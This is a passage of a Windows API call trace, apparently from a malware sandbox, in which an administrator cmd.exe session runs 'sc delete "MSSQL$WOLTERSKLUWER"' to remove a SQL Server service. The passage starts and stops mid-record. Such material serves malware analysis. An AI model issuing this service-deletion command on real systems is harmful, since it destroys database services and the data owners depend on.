C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.248] GetProcessHeap () returned 0x1b0000 [0066.248] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.248] GetProcessHeap () returned 0x1b0000 [0066.248] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x52) returned 0x1c9840 [0066.248] GetProcessHeap () returned 0x1b0000 [0066.248] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0066.248] SetErrorMode (uMode=0x0) returned 0x1 [0066.248] SetErrorMode (uMode=0x1) returned 0x0 [0066.248] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.249] SetErrorMode (uMode=0x1) returned 0x1 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0066.249] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.249] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.249] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.249] GetProcessHeap () returned 0x1b0000 [0066.249] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.249] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.250] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.250] GetLastError () returned 0x2 [0066.250] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.250] GetLastError () returned 0x2 [0066.250] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.250] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.250] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.251] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.251] GetLastError () returned 0x2 [0066.251] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.251] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.251] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.251] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.251] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.251] GetProcessHeap () returned 0x1b0000 [0066.251] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.251] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.252] GetProcessHeap () returned 0x1b0000 [0066.252] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb8) returned 0x1c9180 [0066.252] GetProcessHeap () returned 0x1b0000 [0066.252] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb8 [0066.252] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$WOLTERSKLUWER\"") returned 1 [0066.252] GetProcessHeap () returned 0x1b0000 [0066.252] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.252] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.252] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.253] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.253] GetProcessHeap () returned 0x1b0000 [0066.253] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.253] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.254] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.254] GetProcessHeap () returned 0x1b0000 [0066.254] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.254] GetProcessHeap () returned 0x1b0000 [0066.254] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.254] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$WOLTERSKLUWER\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$WOLTERSKLUWER\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"MSSQL$WOLTERSKLUWER\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xb4c, dwThreadId=0xb20)) returned 1 [0066.258] CloseHandle (hObject=0x54) returned 1 [0066.258] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.258] GetProcessHeap () returned 0x1b0000 [0066.258] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.258] GetEnvironmentStringsW () returned 0x1d1b10* [0066.258] GetProcessHeap () returned 0x1b0000 [0066.258] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.259] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.259] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.259] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd8000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.259] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0066.363] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.363] CloseHandle (hObject=0x50) returned 1 [0066.363] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.363] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.363] GetProcessHeap () returned 0x1b0000 [0066.363] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.363] GetEnvironmentStringsW () returned 0x1d1b10* [0066.363] GetProcessHeap () returned 0x1b0000 [0066.363] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.363] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.363] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.363] GetProcessHeap () returned 0x1b0000 [0066.363] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.363] GetEnvironmentStringsW () returned 0x1d1b10* [0066.363] GetProcessHeap () returned 0x1b0000 [0066.363] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.363] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.363] GetProcessHeap () returned 0x1b0000 [0066.363] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.363] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.363] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.364] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.364] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.364] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.364] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.364] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.364] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.364] GetConsoleOutputCP () returned 0x1b5 [0066.365] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.365] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9840 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.365] GetProcessHeap () returned 0x1b0000 [0066.365] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.365] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.365] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.365] GetFileType (hFile=0x120) returned 0x3 [0066.365] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.366] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.366] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.366] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.366] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.366] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.366] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.366] GetFileType (hFile=0x120) returned 0x3 [0066.366] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.366] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.366] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.366] GetFileType (hFile=0xb8) returned 0x3 [0066.366] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.366] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.366] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.366] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.366] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.366] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.367] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.367] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.367] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.367] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.367] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.367] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.367] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.367] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.368] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.368] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0066.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.368] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 